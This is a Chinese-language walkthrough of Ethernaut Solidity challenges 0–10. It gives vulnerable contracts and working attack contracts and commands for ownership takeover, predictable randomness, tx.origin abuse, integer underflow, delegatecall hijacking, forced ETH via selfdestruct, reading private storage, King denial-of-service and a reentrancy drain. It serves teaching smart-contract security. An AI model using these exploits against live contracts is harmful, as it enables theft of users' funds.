Ethernaut 题解(0-10)

无意中看到 Openzeppelin 的这个 Solidity 题库,花了两天时间做完,稍作记录。

-1. 写在前面

  1. Ethernaut 用的是 Ropsten 测试网,这里推荐 Dimensions.network 的水龙头,目前一次给 5 ETH,比 Metamask 的水龙头(一次 1 ETH)给的多一些。
  2. Ethernaut 的题目 import 的 library 许多路径都过时了,可以到这里找回对应 solidity 0.5 的版本。

补充:目前 Ethernaut 已经迁移到 Rinkeby 测试网,但是 Ropsten 测试网的版本还是可以在这里访问到。

0. Hello Ethernaut

就题目本身而言,这关就是用来帮助玩家熟悉环境的,略过。

1. Fallback

通关条件

  1. 获得目标合约的 ownership
  2. 将目标合约的 balance 减少至 0

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback {

using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;

constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}

function() payable external {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

解题过程

可以看到,合约在 fallback 函数中有修改 owner 的逻辑,只要我们的 contribution 大于 0 且发送给合约的 ETH 大于 0,就可以成为 owner。而成为 owner 之后,就可以直接调用 withdraw 提取走合约里的所有资金。所以我们要做的操作是:

  1. 调用 contribute,使得 contribution 大于 0
  2. 向合约发送任意金额,成为 owner
  3. 调用 withdraw,取走资金

代码如下:

1
2
3
contract.contribute({value: toWei('0.0009', 'ether')})
contract.sendTransaction({from: player, to: instance, value: toWei('0.001', 'ether')})
contract.withdraw()

至此达成条件,提交即可。

2. Fallout

通关条件

获得目标合约 ownership

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

解题过程

仔细看代码会发现,构造函数存在 typo(应该是 Fallout 而不是 Fal1out )。我们直接调用 Fal1out 就可以修改 owner。

代码如下:

1
contract.Fal1out()

补充:现在已经不能用合约同名函数作为构造函数了,也就是这个 Bug 不会再发生。但是这种因为 typo 导致严重问题的情况还是可能发生,值得注意。

3. Coin Flip

通关条件

目标合约是个竞猜合约,连续猜中 10 次即可通关。

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

解题过程

合约中的 block.number 是竞猜交易所在区块的块高。目标合约使用包含竞猜交易的区块的前一个块的哈希和某个因子相除得到开奖结果,这意味着在开奖前我们就能得到结果。

假设竞猜交易会被打包进区块 n 中,开奖结果就是 blockhash(n-1 号区块).div(FACTOR) == 1
即便如此,Ropsten 出块并不是很稳定,经常短时间连续出好几个块,所以手工操作很难达成条件(试了下手工操作,最多连续两次猜中),所以我们需要写一个攻击合约来帮忙。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity ^0.5.0;

contract HackCoinFlip {
using SafeMath for uint256;

CoinFlip game;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor(CoinFlip _addr) public {
game = _addr;
}

function hack() public {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
bool isCoinFlip = blockValue.div(FACTOR) == 1;
game.flip(isCoinFlip);
}
}

目标合约限定了一个块只能竞猜一次,所以同步执行 10 次 HackCoinFlip.hack() 即可。

4. Telephone

通关条件

获得目标合约的 ownership

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.5.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

解题过程

需要正确区分 tx.origin 和 msg.sender

tx.origin 是交易的来源,也就是交易的最初发送者。msg.sender 是消息的直接发送者。考虑这样的调用链: A -> B -> C -> D,D 的 msg.sender 是 C,其 tx.origin 为 A。

tx.origin 永远不会是合约,而 msg.sender 可能是合约。

在实际使用中,应该避免使用 tx.origin(1. 之后很可能被废弃;2. 使用不注意容易引发安全问题)

回到题目中来,只要 tx.origin 不等于 msg.sender,我们就可以调用 changeOwner 替换 owner,所以写一个简单的中间合约就好:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pragma solidity ^0.5.0;

contract HackTelephone {

Telephone phone;

constructor(Telephone _addr) public {
phone = _addr;
}

function changeOwner(address _owner) public {
phone.changeOwner(_owner);
}
}

调用 HackTelephone.changeOwner(player) 即可。

5. Token

通关条件

目标合约是一个代币合约,我们已经获得了 20 个这种代币,题目要求我们想办法获得更多(最好是天量)的代币。

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.5.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

解题过程

显然,目标合约存在整数溢出漏洞,以加减法为例,在 Solidity 中 (2**256 - 1) + 1 = 00 - 1 = 2**256 - 1 。目标合约中如果我们传入的 value 大于 20,则 balances[msg.sender] - _value 会溢出变成极大数,如此可以顺利通过 require 检验,并使得发送者获得天量代币。因此我们只要向除了 player 地址外的任意地址转账超过 20 个代币即可完成攻击:

1
contract.transfer('some address', 21);

6. Delegation

通关条件

获得目标合约(Delegation)的 ownership

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pragma solidity ^0.5.0;

contract Delegate {

address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

function() external {
(bool result, bytes memory data) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

解题过程

注意 delegatecall 调用的是其他合约的代码,但是修改的是当前合约的存储空间。

观察题目我们可以发现 Delegation 的 fallback 函数会使用 delegatecall 调用 Delegate 合约,而 Delegate 合约中的 pwn() 函数就是用来修改 owner 的。因此我们只需要向 Delegation 合约发送一笔 msg.data 为 pwn() 函数签名的交易即可:

1
contract.sendTransaction({from: player, to: instance, data: web3.eth.abi.encodeFunctionSignature('pwn()')});

7. Force

通关条件

使得目标合约的 ETH 余额大于 0

目标合约

1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.5.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

解题过程

第一反应:一脸懵逼。

目标合约是一个空合约,没有实现 payable 的 fallback 函数,自然无法给他转 ETH。所以我们需要一些强制手段(这就是题目是 force 的原因)。通过参考这篇文章得知,使用 selfdestruct 函数毁灭合约,可以将合约中的 ETH 强制转移到指定地址。所以可得攻击合约:

1
2
3
4
5
6
7
8
9
10
pragma solidity ^0.5.0;

contract HackForce {

function hack(address payable _addr) public {
selfdestruct(_addr);
}

function () external payable {}
}

调用 hack 函数即可。

补充:文章中还提到,由于合约地址是可以预先算出来的,如果事先转账到算出来的合约地址上,就可以在合约创建后令合约内强制存在 ETH。

8. Vault

通关条件

解锁目标合约

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.5.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

解题过程

要明确的是,区块链上一切都是透明的,private 关键字只能防止其他合约访问这个变量,不代表我们没法看到它的值。这也就是说,目标合约中的 password 是明文存在链上的。那么我们如何访问它呢?

我们需要了解一些 Solidity 合约的数据存储布局的知识。以下内容摘抄整理自这里

  1. Solidity 合约的数据存储在容量为 2**256 的插槽(slot)数组中,每个插槽可以存储 32 字节数据

  2. 数据在插槽中以低位对齐方式存储

  3. 合约中定义的存储变量会按定义顺序存入插槽,比如目标合约中的例子,locked 会先存入插槽,然后是 password

  4. 存储新的变量时,如果插槽剩余空间足以存储该变量,则该变量会存储在当前插槽中。如果插槽剩余空间不足,则会存储到下一个插槽中(比如以下合约,一共占用 3 个插槽)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    pragma solidity >0.5.0;

    contract StorageExample2 {
    uint256 a = 11; // 插槽 0,32 字节
    uint8 b = 12; // 插槽 1,1 字节
    uint128 c = 13; // 插槽 1,16 字节
    bool d = true; // 插槽 1,1 字节
    uint128 e = 14; // 插槽 2,32 字节
    uint[2] c = [13,14]; // 插槽 3,32 字节;插槽 4,32 字节
    }

    由于这个特性,在写合约的时候我们需要注意变量的定义顺序,良好的顺序可以节约存储空间。此外,EVM 每次读取数据进行处理时,都是读取 32 字节,数据小于 32 字节的时候,还需要额外做 unpadding 等操作,因此相比取 32 字节值的数据,取小于 32 字节的数据需要消耗更多的 gas。

  5. 动态大小变量(Mapping/动态数组)的存储另有规则,详见文档。这里简单说下:

    1. 对于 string 和 bytes,如果数据长度小于 31 字节,则数据会存储在高位字节,最低位字节存储 length * 2
    2. 如果数据长度超出 31 字节,则定义变量的插槽存储 length * 2 + 1,数据存储在第 keccak256(slot) 个插槽中。
    3. 对于动态数组,在定义变量的插槽存储 length,数据从第 keccak256(slot) 个插槽开始存储。在每个插槽中,数据以低位对齐方式排列。
    4. 对于 Mapping 而言,每个 Key 对应一份存储,其存储位置位于 keccak256(abi.encodePacked(key, slot))。
    5. 对于结构体这样的组合类型,则是在组合内部遵循上述规则递归处理。
  6. 我们可以从下图中了解常见数据类型的存储 :

image.png

回到题目中,我们只需要从合约中读取 password 即可。在目标合约中,password 会存储在插槽 1 中(插槽 0 存储了 locked,占据 1 字节(是的,不是 1 bit) ,剩下的 31 字节不足以存储 32 字节的 password),所以我们可以进行如下操作:

1
2
let password = await web3.eth.getStorageAt(instance, 1)
contract.unlock(password)

9. King

通关条件

占据目标合约的 “King”,使得其他人无法取而代之

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pragma solidity ^0.5.0;

contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}

解题过程

观察合约可以知道,当 King 合约接收到转账的时候,会校验转账金额,通过校验的话,则向当前 King 退款并设置新的 King。我们的任务就是阻止新的 King 的设置,那么使得 King 合约执行到 king.transfer(msg.value) 时 revert 即可。攻击合约如下,不设置 payable 的 fallback 函数或者在 fallback 函数中 revert 都可以。

1
2
3
4
5
6
7
contract KingForever {

function beKing(address payable addr) public payable {
(bool success, ) = addr.call.value(msg.value)("");
require(success);
}
}

10. Re-entrancy

通关条件

取走合约中的所有资金

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result, bytes memory data) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

function() external payable {}
}

解题过程

我们知道,合约接收到转账,可以通过实现 payable fallback 函数来触发某些操作。目标合约的 withdraw 函数会向 msg.sender 发送 ETH,在此之后才修改 msg.sender 的账户余额,所以我们可以实现一个攻击合约,该合约的 payable fallback 函数会继续调用目标合约的 withdraw 函数。只要设置合适的 _amount,就可以取光所有资金(所谓重入,就是重复进入)。攻击合约代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract HackReentrance {

Reentrance r;

constructor(address payable _addr) public {
r = Reentrance(_addr);
}

function donate(uint _amount) public payable {
r.donate.value(_amount)(address(this));
}

function hack(uint _amount) public {
r.withdraw(_amount);
}

function () external payable {
r.withdraw(msg.value);
}
}

先向攻击合约转账 0.2 ETH,再调用攻击合约的 donate 函数,将 0.2 ETH 存入目标合约,最后调用攻击合约的 hack 函数,取款 0.2 ETH,这样就会调用 6 次 withdraw,将目标合约资金取光。

为了防范重入漏洞,需要记得一定先调账,最后才实际转账;也可以使用 ReentrancyGuard 来防止重入。